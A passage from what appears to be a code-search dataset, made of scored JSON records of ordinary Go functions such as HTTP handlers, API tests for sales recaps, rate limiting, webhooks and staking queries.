sliceFQN)\n\t\tt.invalmsghdlr(w, r, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdefer file.Close()\n\n\tbuf, slab := t.gmm.Alloc(finfo.Size())\n\tw.Header().Set(\"Content-Length\", strconv.FormatInt(finfo.Size(), 10))\n\t_, err = io.CopyBuffer(w, file, buf)\n\tslab.Free(buf)\n\tfile.Close()\n\tif err != nil {\n\t\tglog.Errorf(\"Failed to send slice %s/%s: %v\", bck, objName, err)\n\t}\n}", "title": "" }, { "docid": "b464cdd7b38c66234531ab6f043b2a89", "score": "0.42853948", "text": "func TestHandler_URLMappingGetRecapSalesSuccess(t *testing.T) {\n\to := orm.NewOrm()\n\to.Raw(\"DELETE FROM recap_sales\").Exec()\n\n\t// buat dummy recap\n\tmodel.DummyRecapSales()\n\n\t// melakukan proses login\n\tuser := model.DummyUserPriviledgeWithUsergroup(1)\n\tsd, _ := auth.Login(user)\n\ttoken := \"Bearer \" + sd.Token\n\tng := tester.New()\n\tng.SetHeader(tester.H{\"Authorization\": token})\n\tng.Method = \"GET\"\n\tng.Path = \"/v1/recap-sales\"\n\tng.Run(test.Router(), func(res tester.HTTPResponse, req tester.HTTPRequest) {\n\t\tassert.Equal(t, int(200), res.Code, fmt.Sprintf(\"Should has 'endpoint %s' with method '%s'\", \"/v1/recap-sales\", \"GET\"))\n\t})\n}", "title": "" }, { "docid": "ab4122ab75112a30e18d162bd59c540d", "score": "0.4277427", "text": "func mockTest0104(w http.ResponseWriter, r *http.Request) {\n\twait, err := common.GetIntArgFromQuery(r, \"wait\")\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\tunit, err := common.GetStringArgFromQuery(r, \"unit\")\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\n\tretIP := `\"42.48.232.7\", \"10.200.20.21\"`\n\tretJSON := fmt.Sprintf(`{\"errno\":0, \"iplist\":[%s]}`, retIP)\n\t// retContent := `{\"errno\":-1, \"iplist\":[]}`\n\tw.Header().Set(common.TextContentLength, strconv.Itoa(len(retJSON)))\n\tw.Header().Set(common.TextContentType, common.ContentTypeJSON)\n\tw.WriteHeader(http.StatusOK)\n\n\tif wait > 0 {\n\t\tif unit == \"milli\" {\n\t\t\ttime.Sleep(time.Duration(wait) * time.Millisecond)\n\t\t} else {\n\t\t\ttime.Sleep(time.Duration(wait) * time.Second)\n\t\t}\n\t}\n\tif _, err := io.Copy(w, bufio.NewReader(strings.NewReader(retJSON))); err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t}\n}", "title": "" }, { "docid": "2b3452313e72b9523d4940027a5d6e89", "score": "0.4270593", "text": "func TestOverflowValidFailureURLWithSecret(t *testing.T) {\n\tassert := assert.New(t)\n\n\tvar output bytes.Buffer\n\tlogger := getNewTestOutputLogger(&output)\n\n\ttrans := &transport{}\n\ttrans.fn = func(req *http.Request, count int) (resp *http.Response, err error) {\n\t\tassert.Equal(\"POST\", req.Method)\n\t\tassert.Equal([]string{\"application/json\"}, req.Header[\"Content-Type\"])\n\t\t// There is a timestamp in the body, so it's not worth trying to do a string comparison\n\t\tassert.NotNil(req.Header[\"X-Webpa-Signature\"])\n\t\tpayload, _ := ioutil.ReadAll(req.Body)\n\t\tassert.NotNil(payload)\n\n\t\tresp = &http.Response{Status: \"200 OK\",\n\t\t\tStatusCode: 200,\n\t\t}\n\t\treturn\n\t}\n\n\tw := webhook.W{\n\t\tUntil: time.Now(),\n\t\tFailureURL: \"http://localhost:12345/bar\",\n\t\tEvents: []string{\"iot\", \"test\"},\n\t}\n\tw.Config.URL = \"http://localhost:9999/foo\"\n\tw.Config.ContentType = \"application/json\"\n\tw.Config.Secret = \"123456\"\n\n\tobs, err := OutboundSenderFactory{\n\t\tListener: w,\n\t\tClient: &http.Client{Transport: trans},\n\t\tCutOffPeriod: time.Second,\n\t\tNumWorkers: 10,\n\t\tQueueSize: 10,\n\t\tProfilerFactory: testServerProfilerFactory,\n\t\tLogger: logger,\n\t}.New()\n\tassert.Nil(err)\n\n\tif _, ok := obs.(*CaduceusOutboundSender); !ok {\n\t\tassert.Fail(\"Interface returned by OutboundSenderFactory.New() must be implemented by a CaduceusOutboundSender.\")\n\t}\n\n\tobs.(*CaduceusOutboundSender).queueOverflow()\n\tassert.NotNil(output.String())\n}", "title": "" }, { "docid": "99605d2feabf09c88530f845e41e3aaa", "score": "0.42657575", "text": "func TestGetWorkloads(t *testing.T) {\n\tctx, cancelFunc := context.WithTimeout(context.Background(), standardTimeout)\n\t_, err := bat.GetAllWorkloads(ctx, \"\")\n\tcancelFunc()\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to retrieve workload list : %v\", err)\n\t}\n}", "title": "" }, { "docid": "734db1cbe136616338449c0282037965", "score": "0.42632627", "text": "func ViewAvailableDays(res http.ResponseWriter, req *http.Request) {\n\ttype dayData struct {\n\t\tDay string\n\t\tRemainingOrd int\n\t}\n\tvar AvailableDaysData []dayData\n\n\tfor n := 0; n < len(ds.WeeklySchedule); n++ {\n\t\tif ds.WeeklySchedule[n].CurrentOrders < ds.WeeklySchedule[n].MaxOrders {\n\t\t\tremainingOrders := ds.WeeklySchedule[n].MaxOrders - ds.WeeklySchedule[n].CurrentOrders\n\t\t\tif remainingOrders > 0 {\n\t\t\t\ttempData := dayData{\n\t\t\t\t\tDay: ds.IntToDay(n + 1),\n\t\t\t\t\tRemainingOrd: remainingOrders}\n\t\t\t\tAvailableDaysData = append(AvailableDaysData, tempData)\n\t\t\t}\n\t\t\t//fmt.Println(intToDay(n+1), \"is available for booking.\", remainingOrders, \"orders still available for taking.\")\n\t\t}\n\t}\n\terr := tpl.ExecuteTemplate(res, \"availableDays.gohtml\", AvailableDaysData)\n\tif err != nil {\n\t\thttp.Error(res, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "c13fbe4f611985f8e5048fbd330ca2e2", "score": "0.42616418", "text": "func Test_Limiter_Fixed_Window_No_Skip_Choices(t *testing.T) {\n\tt.Parallel()\n\tapp := fiber.New()\n\n\tapp.Use(New(Config{\n\t\tMax: 2,\n\t\tExpiration: 2 * time.Second,\n\t\tSkipFailedRequests: false,\n\t\tSkipSuccessfulRequests: false,\n\t\tLimiterMiddleware: FixedWindow{},\n\t}))\n\n\tapp.Get(\"/:status\", func(c *fiber.Ctx) error {\n\t\tif c.Params(\"status\") == \"fail\" { //nolint:goconst // False positive\n\t\t\treturn c.SendStatus(400)\n\t\t}\n\t\treturn c.SendStatus(200)\n\t})\n\n\tresp, err := app.Test(httptest.NewRequest(fiber.MethodGet, \"/fail\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 400, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 429, resp.StatusCode)\n\n\ttime.Sleep(3 * time.Second)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n}", "title": "" }, { "docid": "e75f6b68b2c15390a263365545b58608", "score": "0.42534116", "text": "func GetThreshold(w http.ResponseWriter, r *http.Request) {\n\n\t// Add header so that received knows they're receiving JSON\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\n\t// Retrieving name of node from query request\n\tnodeName := r.URL.Query().Get(\"name\")\n\tconfirmation, socket := checkNodeName(nodeName)\n\tif confirmation == false {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Node name requested doesn't exist\"})\n\t\treturn\n\t}\n\n\t// Retrieving height from query request\n\trecvHeight := r.URL.Query().Get(\"height\")\n\theight := checkHeight(recvHeight)\n\tif height == -1 {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Unexepcted value found, height needs to be string of int!\"})\n\t\treturn\n\t}\n\n\t// Retrieving kind from query request\n\trecvKind := r.URL.Query().Get(\"kind\")\n\tkind := checkKind(recvKind)\n\tif kind == -1 {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Unexepcted value found, kind needs to be string of int!\"})\n\t\treturn\n\t}\n\n\t// Attempt to load connection with staking client\n\tconnection, so := loadStakingClient(socket)\n\n\t// Close connection once code underneath executes\n\tdefer connection.Close()\n\n\t// If null object was retrieved send response\n\tif so == nil {\n\n\t\t// Stop code here faild to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to establish connection using socket : \" + socket})\n\t\treturn\n\t}\n\n\t// Create ThresholdQuery that will be sued to retrieved threshold amount\n\tquery := staking.ThresholdQuery{Height: height, Kind: staking.ThresholdKind(kind)}\n\n\t// Return threshold from staking client using created query\n\tthreshold, err := so.Threshold(context.Background(), &query)\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to get Threshold!\"})\n\t\tlgr.Error.Println(\n\t\t\t\"Request at /api/staking/threshold failed to retrieve \"+\n\t\t\t\t\"Threshold : \", err)\n\t\treturn\n\t}\n\n\t// Responding with threshold quantity retrieved\n\tlgr.Info.Println(\n\t\t\"Request at /api/staking/threshold responding with Threshold!\")\n\tjson.NewEncoder(w).Encode(responses.QuantityResponse{Quantity: threshold})\n}", "title": "" }, { "docid": "9213c62a9543722f02c4e4133ec1b7fe", "score": "0.4251836", "text": "func TestDRollN(t *testing.T) {\n\ttype response struct {\n\t\tCode int\n\t\tBody string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs string\n\t\twant response\n\t}{\n\t\t{\"Valid request\", \"/d4/1\", response{http.StatusOK, `\"count\":1,\"sides\":4`}},\n\t\t{\"Valid request\", \"/D4/1\", response{http.StatusOK, `\"count\":1,\"sides\":4`}},\n\t\t{\"Invalid dice variable\", \"/d5/1\", response{http.StatusNotAcceptable, `\"error\"`}},\n\t\t{\"Invalid dice variable\", \"/D5/1\", response{http.StatusNotAcceptable, `\"error\"`}},\n\t\t{\"Invalid count variable\", \"/d4/0\", response{http.StatusNotAcceptable, `\"error\"`}},\n\t\t{\"Invalid count variable\", \"/D4/0\", response{http.StatusNotAcceptable, `\"error\"`}},\n\t\t// Not sure why count ocmes up first here, since the sides get parsed first in the code.\n\t\t// Moreover, not sure if I should be looking specifically for it or just for an error.\n\t\t{\"Invalid dice and count variable\", \"/d5/0\", response{http.StatusNotAcceptable, `\"error\":\"invalid count\"`}},\n\t\t{\"Invalid dice and count variable\", \"/D5/0\", response{http.StatusNotAcceptable, `\"error\":\"invalid count\"`}},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tr := gofight.New()\n\n\t\t\tr.GET(\"/api/v1/roll\"+tt.args).\n\t\t\t\tRun(router, func(r gofight.HTTPResponse, rq gofight.HTTPRequest) {\n\t\t\t\t\tif r.Code != tt.want.Code {\n\t\t\t\t\t\tt.Errorf(\"Handler returned wrong status code: got %v want %v\", r.Code, tt.want.Code)\n\t\t\t\t\t}\n\n\t\t\t\t\tif !bytes.Contains(r.Body.Bytes(), []byte(tt.want.Body)) {\n\t\t\t\t\t\tt.Errorf(\"Unexpected body returned.\\ngot %v\\nwant %v\", r.Body, tt.want.Body)\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t})\n\t}\n}", "title": "" }, { "docid": "0acd3a2abccbfaddd2af1df2f6bcd30c", "score": "0.42488134", "text": "func getProgrammingsYearsTest(e *httpexpect.Expect, t *testing.T) {\n\ttestCases := []testCase{\n\t\tnotLoggedTestCase,\n\t\t{\n\t\t\tToken: testCtx.Admin.Token,\n\t\t\tStatus: http.StatusOK,\n\t\t\tBodyContains: []string{`{\"ProgrammingsYears\":[{\"year\":2018}]}`}},\n\t}\n\tf := func(tc testCase) *httpexpect.Response {\n\t\treturn e.GET(\"/api/programmings/years\").\n\t\t\tWithHeader(\"Authorization\", \"Bearer \"+tc.Token).Expect()\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"GetProgrammingsYears\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "5c7ac0824cdcc68274b45d5b5e1416dd", "score": "0.42424205", "text": "func TestGetTradesHistory(t *testing.T) {\n\tt.Parallel()\n\targs := GetTradesHistoryOptions{Trades: true, Start: \"TMZEDR-VBJN2-NGY6DX\", End: \"TVRXG2-R62VE-RWP3UW\"}\n\t_, err := k.GetTradesHistory(context.Background(), args)\n\tif err == nil {\n\t\tt.Error(\"GetTradesHistory() Expected error\")\n\t}\n}", "title": "" }, { "docid": "c804abe57a927b290a86e6b44a838021", "score": "0.42420885", "text": "func (s *RestServer) getL2FlowDropMetricsHandler(r *http.Request) (interface{}, error) {\n\tlog.Infof(\"Got GET request L2FlowDropMetrics/%s\", mux.Vars(r)[\"Meta.Name\"])\n\treturn nil, nil\n}", "title": "" }, { "docid": "b84969269764a6c987a4e33834186275", "score": "0.42378026", "text": "func getTemporadaApi(w http.ResponseWriter, r *http.Request) {\n\tgetTime(\"GET to: /api/temporada\")\n\tgetTemporadaDB()\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(w).Encode(temporadaList)\n}", "title": "" }, { "docid": "b875ff57f79bf0a2ad1e316f250858d7", "score": "0.4226655", "text": "func TestFitbitGetData(t *testing.T) {\n\tconst expectedSteps int = 14102\n\tendTime := time.Date(2016, time.August, 2, 02, 00, 0, 0, time.Local)\n\tstartTime := time.Date(2016, time.August, 1, 23, 0, 0, 0, time.Local)\n\n\treader, err := NewFitbitReader(startTime, endTime)\n\tif err != nil {\n\t\tt.Fail()\n\t\tt.Logf(\"Failed to create Fitbit Reader: %v\", err)\n\t}\n\n\tsessionKey, _ := splunk.NewSessionKey(accountName, password, splunk.LocalSplunkMgmntURL)\n\tusers, err := getUsers(splunk.LocalSplunkMgmntURL,\n\t\tsessionKey.SessionKey,\n\t\tstrategyFitbit)\n\n\tusers[0].Token.AccessToken = \"\"\n\n\tclient, newToken := getClient(&users[0].Token, fitbitClientId, fitbitClientSecret, strategyFitbit)\n\t// buf := bytes.NewBuffer([]byte{})\n\t// writer := bufio.NewWriter(buf)\n\n\tusers[0].Token = *newToken\n\tupdateKVStoreToken(users[0], strategyFitbit, sessionKey.SessionKey)\n\n\t//Go get the data from fitbit\n\tdate := reader.getData(client, bufio.NewWriter(os.Stdout), User{Name: \"Andy\"})\n\n\tif date.Day() != endTime.Day() && date.Hour() != endTime.Hour() {\n\t\tt.Fail()\n\t\tt.Logf(\"Wrong date returned\")\n\t}\n\n\t// log.Printf(\"%s\", buf)\n\t//Turn the data returned to the writer back into a data structure\n\t// var us []FitbitOutput\n\t// //to turn it into a JSON array we need to add commas between events and add\n\t// // brackets around the whole result\n\t// b := []byte(\"[\" + strings.Replace(string(buf.Bytes()), \"}}\", \"}},\", 2) + \"]\")\n\t// err = json.Unmarshal(b, &us)\n\t// if err != nil {\n\t// \tt.Logf(\"Input: %s\", b)\n\t// \tt.Fatal(err)\n\t// }\n\t//\n\t// if len(us) != 1 {\n\t// \tt.Logf(\"Failed to retrieve data from fitbit.\")\n\t// \tt.Fail()\n\t// }\n}", "title": "" }, { "docid": "128d32ce16ede2473b7d2c5dd24f8cba", "score": "0.4220171", "text": "func TestGetSlidesPlaceholders(t *testing.T) {\n request := createGetSlidesPlaceholdersRequest()\n e := initializeTest(\"GetSlidesPlaceholders\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.PlaceholdersApi.GetSlidesPlaceholders(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "41315d04b53913bcf91a83ef1df5c82c", "score": "0.42200235", "text": "func getPaymentCreditsTest(t *testing.T, c *TestContext) {\n\ttcc := []TestCase{\n\t\t*c.UserCheckTestCase,\n\t\t{\n\t\t\tToken: c.Config.Users.User.Token,\n\t\t\tStatusCode: http.StatusBadRequest,\n\t\t\tParams: \"a\",\n\t\t\tRespContains: []string{`Liste des enveloppes de crédits, décodage : `}},\n\t\t{\n\t\t\tToken: c.Config.Users.User.Token,\n\t\t\tStatusCode: http.StatusOK,\n\t\t\tParams: \"2019\",\n\t\t\tRespContains: []string{`{\"PaymentCredit\":[`}},\n\t}\n\tf := func(tc TestCase) *httpexpect.Response {\n\t\treturn c.E.GET(\"/api/payment_credits\").WithHeader(\"Authorization\", \"Bearer \"+tc.Token).\n\t\t\tWithQuery(\"Year\", tc.Params).Expect()\n\t}\n\tfor _, r := range chkFactory(tcc, f, \"GetPaymentCredits\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "bb1382b6256d70f3401814635ff5678b", "score": "0.42188162", "text": "func is400(t *testing.T, ts *httptest.Server, path string) []byte {\n\tres, body := checkGet(t, ts, path)\n\tif res.StatusCode != 400 {\n\t\tt.Fatalf(\"Expected status %d, got %d\", 400, res.StatusCode)\n\t}\n\treturn body\n}", "title": "" }, { "docid": "59d5d58043e1bdd00a7eefb0a4191d36", "score": "0.42167056", "text": "func GetSomeContracts() {\n\tfmt.Println(\"Please try to download contracts list from https://etherscan.io/exportData?type=open-source-contract-codes\")\n}", "title": "" }, { "docid": "a06489e5f56b19fd043b454761b00707", "score": "0.42123535", "text": "func test_getGasPrice(t *testing.T) {\n\t//services.RunOnTestNet()\n\tt.Skip(nil)\n\t// get the suggested gas price\n\tgasPrice, err := eth_gateway.EthWrapper.GetGasPrice()\n\tif err != nil {\n\t\tt.Fatalf(\"error retrieving gas price: %v\\n\", err)\n\t}\n\tif gasPrice.IsUint64() && gasPrice.Uint64() > 0 {\n\t\tt.Logf(\"gas price verified: %v\\n\", gasPrice)\n\t} else {\n\t\tt.Fatalf(\"gas price less than zero: %v\\n\", gasPrice)\n\t}\n\tt.Logf(\"current network gas price :%v\", gasPrice.String())\n}", "title": "" }, { "docid": "3352b475c9c5eaf3076708945a985ecf", "score": "0.4210113", "text": "func (f *FakeInstance) GetBackupSchedule(_ context.Context, _ string) (*govultr.BackupSchedule, *http.Response, error) {\n\tpanic(\"implement me\")\n}", "title": "" }, { "docid": "0808450cef78687ca157e2b0e5cd2911", "score": "0.42099556", "text": "func batchBudgetCreditTest(e *httpexpect.Expect, t *testing.T) {\n\ttestCases := []testCase{\n\t\tnotAdminTestCase,\n\t\t{\n\t\t\tToken: testCtx.Admin.Token,\n\t\t\tStatus: http.StatusInternalServerError,\n\t\t\tSent: []byte(`fake`),\n\t\t\tBodyContains: []string{\"Erreur de lecture du batch crédits\"}},\n\t\t{\n\t\t\tToken: testCtx.Admin.Token,\n\t\t\tStatus: http.StatusInternalServerError,\n\t\t\tSent: []byte(`{\"BudgetCredits\":[{\"commission_date\":43191}]}`),\n\t\t\tBodyContains: []string{\"Batch crédits, requête : Date de commission ou chapitre incorrect\"}},\n\t\t{\n\t\t\tToken: testCtx.Admin.Token,\n\t\t\tStatus: http.StatusOK,\n\t\t\tSent: []byte(`{\"BudgetCredits\":[\n\t\t\t\t{\"commission_date\":43285,\"chapter\":907,\n\t\t\t\t \"primary_commitment\":999,\"reserved_commitment\":888.50,\"frozen_commitment\":777},\n\t\t\t\t{\"commission_date\":43191,\"chapter\":907,\n\t\t\t\t \"primary_commitment\":999,\"reserved_commitment\":888,\"frozen_commitment\":777}\n\t\t\t\t]}`),\n\t\t\tBodyContains: []string{\"Credits importés\"}},\n\t}\n\tf := func(tc testCase) *httpexpect.Response {\n\t\treturn e.POST(\"/api/budget_credits/array\").\n\t\t\tWithHeader(\"Authorization\", \"Bearer \"+tc.Token).WithBytes(tc.Sent).Expect()\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"BatchBudgetCredits\") {\n\t\tt.Error(r)\n\t}\n\n\t// Check only one line has been created\n\tf = func(tc testCase) *httpexpect.Response {\n\t\treturn e.GET(\"/api/budget_credits\").\n\t\t\tWithHeader(\"Authorization\", \"Bearer \"+tc.Token).Expect()\n\t}\n\ttestCases = []testCase{\n\t\t{\n\t\t\tToken: testCtx.Admin.Token,\n\t\t\tStatus: http.StatusOK,\n\t\t\tArraySize: 79,\n\t\t\tCountItemName: `\"id\"`},\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"BatchBudgetCredits\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "29fe08c1b76186e50ab271709ee710b4", "score": "0.42090136", "text": "func TestHandler_URLMappingShowRecapSalesSuccess(t *testing.T) {\n\t// buat dummy recap\n\trec := model.DummyRecapSales()\n\trecItm := model.DummyRecapSalesItem()\n\trecItm.RecapSales = rec\n\trecItm.Save()\n\n\t// melakukan proses login\n\tuser := model.DummyUserPriviledgeWithUsergroup(1)\n\tsd, _ := auth.Login(user)\n\ttoken := \"Bearer \" + sd.Token\n\tng := tester.New()\n\tng.SetHeader(tester.H{\"Authorization\": token})\n\tng.Method = \"GET\"\n\tng.Path = \"/v1/recap-sales/\" + common.Encrypt(rec.ID)\n\tng.Run(test.Router(), func(res tester.HTTPResponse, req tester.HTTPRequest) {\n\t\tassert.Equal(t, int(200), res.Code, fmt.Sprintf(\"Should has 'endpoint %s' with method '%s'\", \"/v1/recap-sales/\"+common.Encrypt(rec.ID), \"GET\"))\n\t})\n}", "title": "" }, { "docid": "a96d20dd73f9bdab6c357bdfa077af7e", "score": "0.42076287", "text": "func expectedCandles(expectedCandles int, timeRange time.Duration, candleGranularity int64) error {\n\tend := time.Now().UTC().Add(-time.Second * timeRange) // the latest candle may not yet be ready, so skipping to the previous one\n\tstart := end.Add(-time.Second * timeRange)\n\tresp, err := c.GetHistoricRates(testPair, start.Format(time.RFC3339), end.Format(time.RFC3339), candleGranularity)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resp) != expectedCandles {\n\t\terr := fmt.Errorf(\"expected %d candles, returned: %d\", expectedCandles, len(resp))\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a140e380fcc69f8e318708e41e06b085", "score": "0.42052394", "text": "func TestGetDataFromUrlNon200HttpCode(t *testing.T) {\n\tdefer gock.Off()\n\n\tapiUrl := \"http://example.com\"\n\tapiPath := \"status\"\n\n\tgock.New(apiUrl).\n\t\tGet(apiPath).\n\t\tReply(201).\n\t\tBodyString(\"\")\n\n\t_, err := getDataFromURL(apiUrl+\"/\"+apiPath, ioutil.ReadAll)\n\n\tassert.Error(t, err)\n}", "title": "" }, { "docid": "08d30bd06d56d85d52664a7a0adc2b61", "score": "0.42049432", "text": "func GetCommonPool(w http.ResponseWriter, r *http.Request) {\n\n\t// Add header so that received knows they're receiving JSON\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\n\t// Retrieving name of node from query request\n\tnodeName := r.URL.Query().Get(\"name\")\n\tconfirmation, socket := checkNodeName(nodeName)\n\tif confirmation == false {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Node name requested doesn't exist\"})\n\t\treturn\n\t}\n\n\t// Retrieving height from query request\n\trecvHeight := r.URL.Query().Get(\"height\")\n\theight := checkHeight(recvHeight)\n\tif height == -1 {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Unexepcted value found, height needs to be string of int!\"})\n\t\treturn\n\t}\n\n\t// Attempt to load connection with staking client\n\tconnection, so := loadStakingClient(socket)\n\n\t// Close connection once code underneath executes\n\tdefer connection.Close()\n\n\t// If null object was retrieved send response\n\tif so == nil {\n\n\t\t// Stop code here faild to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to establish connection using socket : \" + socket})\n\t\treturn\n\t}\n\n\t// Return common pool at specific block height\n\tcommonPool, err := so.CommonPool(context.Background(), height)\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to get Common Pool!\"})\n\n\t\tlgr.Error.Println(\n\t\t\t\"Request at /api/staking/commonpool failed to retrieve common \"+\n\t\t\t\t\"pool : \", err)\n\t\treturn\n\t}\n\n\tlgr.Info.Println(\"Request at /api/staking/commonpool responding with \" +\n\t\t\"Common Pool!\")\n\tjson.NewEncoder(w).Encode(responses.QuantityResponse{Quantity: commonPool})\n}", "title": "" }, { "docid": "096f339443819f551ea8f71be9f93dbe", "score": "0.42028317", "text": "func get(data interface{}) {\n\n\t//GET API for fetching only GGUS alerts.\n\tapiurl := configJSON.CMSMONURL + \"/api/v1/alerts?active=true&silenced=false&inhibited=false&unprocessed=false\"\n\n\treq, err := http.NewRequest(\"GET\", apiurl, nil)\n\treq.Header.Add(\"Accept-Encoding\", \"identity\")\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tif configJSON.Token != \"\" {\n\t\ttoken = TokenManager.ReadToken(configJSON.Token)\n\t\treq.Header.Add(\"Authorization\", fmt.Sprintf(\"bearer %s\", token))\n\t}\n\n\ttimeout := time.Duration(configJSON.httpTimeout) * time.Second\n\tclient := &http.Client{Timeout: timeout}\n\tif token != \"\" {\n\t\trootCAs, err := TokenManager.LoadCAs(configJSON.Verbose)\n\t\tif err != nil {\n\t\t\tlog.Println(\"unable to load CERN ROOT CAs\", err)\n\t\t\treturn\n\t\t}\n\t\ttr, err := TokenManager.Transport(rootCAs, configJSON.Verbose)\n\t\tif err != nil {\n\t\t\tlog.Println(\"unable to initialize HTTP Transport\", err)\n\t\t\treturn\n\t\t}\n\t\tclient = &http.Client{Transport: tr}\n\t}\n\n\tif configJSON.Verbose > 1 {\n\t\tlog.Println(\"URL\", apiurl)\n\t\tdump, err := httputil.DumpRequestOut(req, true)\n\t\tif err == nil {\n\t\t\tlog.Println(\"Request: \", string(dump))\n\t\t}\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tbyteValue, err := io.ReadAll(resp.Body)\n\n\tif err != nil {\n\t\tlog.Printf(\"Unable to read %s JSON Data from AlertManager GET API, error: %v\\n\", service, err)\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(byteValue, &data)\n\tif err != nil {\n\t\tif configJSON.Verbose > 0 {\n\t\t\tlog.Println(string(byteValue))\n\t\t}\n\t\tlog.Fatalf(\"Unable to parse %s JSON Data from AlertManager GET API, error: %v\\n\", service, err)\n\t}\n\n\tif configJSON.Verbose > 1 {\n\t\tdump, err := httputil.DumpResponse(resp, true)\n\t\tif err == nil {\n\t\t\tlog.Println(\"Response: \", string(dump))\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "232eaf549b00232c669081a8ab04beb5", "score": "0.42005694", "text": "func TestHandler_URLMappingPostRecapSalesFailPartnerUndecrypt(t *testing.T) {\n\t// buat dummy partner\n\tpartnr := model.DummyPartnership()\n\tpartnr.IsDeleted = int8(0)\n\tpartnr.PartnershipType = \"customer\"\n\tpartnr.Save()\n\t// buat dummy so\n\tso1 := model.DummySalesOrder()\n\tso1.IsDeleted = int8(0)\n\tso1.DocumentStatus = \"finished\"\n\tso1.TotalCharge = float64(20000)\n\tso1.Customer = partnr\n\tso1.Save()\n\tso2 := model.DummySalesOrder()\n\tso2.IsDeleted = int8(0)\n\tso2.DocumentStatus = \"finished\"\n\tso2.TotalCharge = float64(30000)\n\tso2.Customer = partnr\n\tso2.Save()\n\n\t// melakukan proses login\n\tuser := model.DummyUserPriviledgeWithUsergroup(1)\n\tsd, _ := auth.Login(user)\n\ttoken := \"Bearer \" + sd.Token\n\n\t// setting body\n\tscenario := tester.D{\n\t\t\"partnership\": \"aaaaaaaa\",\n\t\t\"recap_sales_items\": []tester.D{\n\t\t\t{\n\t\t\t\t\"sales_order\": common.Encrypt(so1.ID),\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"sales_order\": common.Encrypt(so2.ID),\n\t\t\t},\n\t\t},\n\t}\n\t// test\n\tng := tester.New()\n\tng.SetHeader(tester.H{\"Authorization\": token})\n\tng.POST(\"/v1/recap-sales\").SetJSON(scenario).Run(test.Router(), func(res tester.HTTPResponse, req tester.HTTPRequest) {\n\t\tassert.Equal(t, int(422), res.Code, fmt.Sprintf(\"\\nreason: Validation Not Matched,\\ndata: %v , \\nresponse: %v\", scenario, res.Body.String()))\n\t})\n\n}", "title": "" }, { "docid": "b5ab1762ec4bfb70257ea5df6554fa6f", "score": "0.41959012", "text": "func (s policyTestStep) waitChecks(t *testing.T, contextMap map[string]string) {\n\tif base.ShouldPolicyWaitOnGet() {\n\t\terr := waitAllGetChecks(s.getChecks, contextMap)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"GET check wait failed: %v\", err)\n\t\t}\n\t} else {\n\t\tif len(s.getChecks) > 0 {\n\t\t\tlog.Printf(\"Running single GET checks, as configured on the environment\")\n\t\t\tfor _, check := range s.getChecks {\n\t\t\t\tok, err := check.check(contextMap)\n\t\t\t\tif err != nil {\n\t\t\t\t\terrMsg := fmt.Sprintf(\"GET check %v failed: %v\", check, 